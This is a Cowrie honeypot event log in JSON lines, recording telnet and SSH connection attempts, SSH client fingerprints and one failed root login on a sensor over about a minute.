{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51094,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e1275ec72ba","protocol":"telnet","message":"New connection: 38.60.198.128:51094 (159.203.135.109:23) [session: 7e1275ec72ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:07.610367Z"}
{"eventid":"cowrie.session.closed","duration":35.762014865875244,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:08.713533Z","src_ip":"144.91.112.66","session":"55cfa9376cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.796627044677734,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:08.907193Z","src_ip":"192.211.53.160","session":"44818c000919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":55706,"dst_ip":"159.203.135.109","dst_port":23,"session":"e94a1492e123","protocol":"telnet","message":"New connection: 192.211.53.160:55706 (159.203.135.109:23) [session: e94a1492e123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:09.477932Z"}
{"eventid":"cowrie.session.closed","duration":39.68310499191284,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:09.631834Z","src_ip":"192.211.53.160","session":"401d589ff150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732543230056763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:10.380006Z","src_ip":"144.91.112.66","session":"535fd35b0f94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303194046020508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:10.450542Z","src_ip":"144.91.112.66","session":"e78a677e5498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51796,"dst_ip":"10.17.0.5","dst_port":23,"session":"e060161b7a10","protocol":"telnet","message":"New connection: 144.91.112.66:51796 (10.17.0.5:23) [session: e060161b7a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:12.162883Z"}
{"eventid":"cowrie.session.closed","duration":30.69012975692749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:14.125717Z","src_ip":"144.91.112.66","session":"ac43a8819168","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":59384,"dst_ip":"10.17.0.5","dst_port":23,"session":"699e64b4cb6c","protocol":"telnet","message":"New connection: 144.91.112.66:59384 (10.17.0.5:23) [session: 699e64b4cb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:15.027483Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32958,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fadf4ba5343","protocol":"telnet","message":"New connection: 38.60.198.128:32958 (159.203.135.109:23) [session: 2fadf4ba5343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:15.333944Z"}
{"eventid":"cowrie.session.closed","duration":31.07905650138855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:16.529952Z","src_ip":"144.91.112.66","session":"7982f2639a26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.17350959777832,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:17.601654Z","src_ip":"64.227.82.147","session":"9661d015d36f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":38018,"dst_ip":"10.17.0.5","dst_port":23,"session":"869cd4b62184","protocol":"telnet","message":"New connection: 144.91.112.66:38018 (10.17.0.5:23) [session: 869cd4b62184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:17.823113Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":45420,"dst_ip":"10.17.0.5","dst_port":23,"session":"65974fecde5d","protocol":"telnet","message":"New connection: 144.91.112.66:45420 (10.17.0.5:23) [session: 65974fecde5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:20.819407Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46694,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d7b6f1ca2d0","protocol":"telnet","message":"New connection: 144.91.112.66:46694 (10.17.0.5:23) [session: 2d7b6f1ca2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:21.342852Z"}
{"eventid":"cowrie.session.closed","duration":31.295655965805054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:21.392893Z","src_ip":"144.91.112.66","session":"513556c69c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43022,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ce28b00051","protocol":"telnet","message":"New connection: 38.60.198.128:43022 (159.203.135.109:23) [session: d8ce28b00051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:23.676770Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44866,"dst_ip":"159.203.135.109","dst_port":23,"session":"a988cef9d5b4","protocol":"telnet","message":"New connection: 38.60.198.128:44866 (159.203.135.109:23) [session: a988cef9d5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:25.220838Z"}
{"eventid":"cowrie.session.closed","duration":31.173997163772583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:25.301214Z","src_ip":"144.91.112.66","session":"f8d58c2c9ce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33908486366272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:27.661183Z","src_ip":"144.91.112.66","session":"eb2a8abfb5e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":52282,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a2e685a652","protocol":"ssh","message":"New connection: 198.98.56.227:52282 (10.17.0.5:22) [session: 40a2e685a652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:28.652050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:28.660830Z","src_ip":"198.98.56.227","session":"40a2e685a652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:28.931994Z","src_ip":"198.98.56.227","session":"40a2e685a652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debianroot","message":"login attempt [root/debianroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:29.697414Z","src_ip":"198.98.56.227","session":"40a2e685a652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:30.710886Z","src_ip":"198.98.56.227","session":"40a2e685a652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52280,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ccce19dcab","protocol":"telnet","message":"New connection: 38.60.198.128:52280 (159.203.135.109:23) [session: b9ccce19dcab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:31.862908Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46572,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f6e8f24a99","protocol":"telnet","message":"New connection: 144.91.112.66:46572 (10.17.0.5:23) [session: 37f6e8f24a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:32.742435Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":49466,"dst_ip":"10.17.0.5","dst_port":23,"session":"9425e90cbb66","protocol":"telnet","message":"New connection: 144.91.112.66:49466 (10.17.0.5:23) [session: 9425e90cbb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:33.984941Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53702,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fe44d874e49","protocol":"telnet","message":"New connection: 38.54.119.93:53702 (10.17.0.5:23) [session: 0fe44d874e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:34.226218Z"}
{"eventid":"cowrie.session.closed","duration":38.62011981010437,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:34.289967Z","src_ip":"38.60.198.128","session":"f4ced1683c19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28352117538452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:34.296443Z","src_ip":"144.91.112.66","session":"cbb450b9fd76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":32868,"dst_ip":"159.203.135.109","dst_port":23,"session":"50816de04f35","protocol":"telnet","message":"New connection: 192.211.53.160:32868 (159.203.135.109:23) [session: 50816de04f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:34.439706Z"}
{"eventid":"cowrie.session.closed","duration":29.25333261489868,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:35.827920Z","src_ip":"38.60.198.128","session":"64b9df8aa8c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60966515541077,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:35.833228Z","src_ip":"38.60.198.128","session":"c25dac17a9d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.862791299819946,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:36.307193Z","src_ip":"38.60.198.128","session":"261926f018d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.164376258850098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:36.855085Z","src_ip":"144.91.112.66","session":"bf756cf3d657","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":60284,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6fdea2cda1","protocol":"telnet","message":"New connection: 144.91.112.66:60284 (10.17.0.5:23) [session: 0e6fdea2cda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:38.450557Z"}
{"eventid":"cowrie.session.closed","duration":7.4760191440582275,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:41.702143Z","src_ip":"38.54.119.93","session":"0fe44d874e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900652408599854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:43.063411Z","src_ip":"144.91.112.66","session":"e060161b7a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28499674797058,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:43.895289Z","src_ip":"38.60.198.128","session":"7e1275ec72ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.70890474319458,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:45.186725Z","src_ip":"192.211.53.160","session":"e94a1492e123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.340317010879517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:46.367678Z","src_ip":"144.91.112.66","session":"699e64b4cb6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":57590,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f64ec7b43c4","protocol":"telnet","message":"New connection: 144.91.112.66:57590 (10.17.0.5:23) [session: 6f64ec7b43c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:48.508900Z"}
{"eventid":"cowrie.session.closed","duration":31.000664234161377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:48.823683Z","src_ip":"144.91.112.66","session":"869cd4b62184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173794746398926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:51.993074Z","src_ip":"144.91.112.66","session":"65974fecde5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92802906036377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:52.270744Z","src_ip":"144.91.112.66","session":"2d7b6f1ca2d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37060,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ffdf04a293e","protocol":"telnet","message":"New connection: 38.54.119.93:37060 (10.17.0.5:23) [session: 9ffdf04a293e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:52.876283Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51696,"dst_ip":"159.203.135.109","dst_port":23,"session":"4209ad39b473","protocol":"telnet","message":"New connection: 38.60.198.128:51696 (159.203.135.109:23) [session: 4209ad39b473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:56.582628Z"}
{"eventid":"cowrie.session.closed","duration":50.14625668525696,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:57.121084Z","src_ip":"38.60.198.128","session":"5fbae92d843c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.014243364334106,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:57.348089Z","src_ip":"38.60.198.128","session":"2fadf4ba5343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.168573617935181,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:58.044719Z","src_ip":"38.54.119.93","session":"9ffdf04a293e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55246,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1db5583fadf","protocol":"telnet","message":"New connection: 38.60.198.128:55246 (159.203.135.109:23) [session: f1db5583fadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:59.935465Z"}
{"eventid":"cowrie.session.closed","duration":36.351752281188965,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:01.572492Z","src_ip":"38.60.198.128","session":"a988cef9d5b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":38178,"dst_ip":"159.203.135.109","dst_port":23,"session":"f00a48c2e9e9","protocol":"telnet","message":"New connection: 192.211.53.160:38178 (159.203.135.109:23) [session: f00a48c2e9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:02.283228Z"}
{"eventid":"cowrie.session.closed","duration":30.79276943206787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:03.535008Z","src_ip":"144.91.112.66","session":"37f6e8f24a99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":40934,"dst_ip":"10.17.0.5","dst_port":23,"session":"2da5c367c0d4","protocol":"telnet","message":"New connection: 144.91.112.66:40934 (10.17.0.5:23) [session: 2da5c367c0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:04.036321Z"}
{"eventid":"cowrie.session.closed","duration":41.18106532096863,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:04.857682Z","src_ip":"38.60.198.128","session":"d8ce28b00051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112308502197266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:05.097064Z","src_ip":"144.91.112.66","session":"9425e90cbb66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33198,"dst_ip":"159.203.135.109","dst_port":23,"session":"384ee999cf6c","protocol":"telnet","message":"New connection: 38.60.198.128:33198 (159.203.135.109:23) [session: 384ee999cf6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:05.393510Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57638,"dst_ip":"159.203.135.109","dst_port":22,"session":"1767adf8c753","protocol":"ssh","message":"New connection: 194.59.206.2:57638 (159.203.135.109:22) [session: 1767adf8c753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:06.777662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:06.782415Z","src_ip":"194.59.206.2","session":"1767adf8c753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:06.869456Z","src_ip":"194.59.206.2","session":"1767adf8c753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:06.964001Z","src_ip":"194.59.206.2","session":"1767adf8c753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34536,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab2cf1fd3534","protocol":"telnet","message":"New connection: 38.60.198.128:34536 (159.203.135.109:23) [session: ab2cf1fd3534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:07.540872Z"}
{"eventid":"cowrie.session.closed","duration":2.3455405235290527,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:07.738904Z","src_ip":"38.60.198.128","session":"384ee999cf6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905926942825317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:09.356350Z","src_ip":"144.91.112.66","session":"0e6fdea2cda1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.524696350097656,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:12.387494Z","src_ip":"38.60.198.128","session":"b9ccce19dcab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42346,"dst_ip":"159.203.135.109","dst_port":23,"session":"87865b16f82d","protocol":"telnet","message":"New connection: 38.60.198.128:42346 (159.203.135.109:23) [session: 87865b16f82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:13.031260Z"}
{"eventid":"cowrie.session.closed","duration":40.61215353012085,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:15.051759Z","src_ip":"192.211.53.160","session":"50816de04f35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46624,"dst_ip":"10.17.0.5","dst_port":23,"session":"4970aaccf079","protocol":"telnet","message":"New connection: 45.81.23.16:46624 (10.17.0.5:23) [session: 4970aaccf079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:16.974135Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44356,"dst_ip":"159.203.135.109","dst_port":23,"session":"560ea8a93a4d","protocol":"telnet","message":"New connection: 38.60.198.128:44356 (159.203.135.109:23) [session: 560ea8a93a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:17.192923Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46626,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f93290bf5f","protocol":"telnet","message":"New connection: 45.81.23.16:46626 (10.17.0.5:23) [session: 74f93290bf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:17.230070Z"}
